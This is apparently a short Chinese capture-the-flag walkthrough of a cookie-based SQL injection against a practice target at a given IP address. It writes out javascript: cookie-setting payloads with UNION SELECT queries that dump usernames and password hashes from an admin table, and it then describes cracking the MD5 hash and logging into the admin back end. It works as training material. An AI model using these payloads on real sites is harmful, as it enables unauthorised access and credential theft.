1.打開靶場,隨便點擊一個頁面,帶參數,猜想sql注入,單引號判斷,彈出警告
2.看提示,and也不能用了,先用order by暴字段數,order by 10返回正常,order by 11報錯,有10個字段數
3.union select也不能用,猜想是cookie注入,把參數id=169去掉后訪問,報錯
4.地址欄輸入 javascript:alert(document.cookie="id="+escape("169")); 彈出對話框
5.再次訪問http://117.167.136.245:10181/shownews.asp? 返回正常
6.再次驗證了是cookie注入,構造語句暴出位置,並猜解表名,說明存在admin這個表
javascript:alert(document.cookie="id="+escape("169+union+select+1,2,3,4,5,6,7,8,9,10+from+admin"));
7.訪問查看
8.繼續,猜解字段和暴值,
javascript:alert(document.cookie="id="+escape("169+union+select+1,username,password,4,5,6,7,8,9,10+from+admin"));
9.查看
10.MD5解密得
11.登錄后台
12.得到flag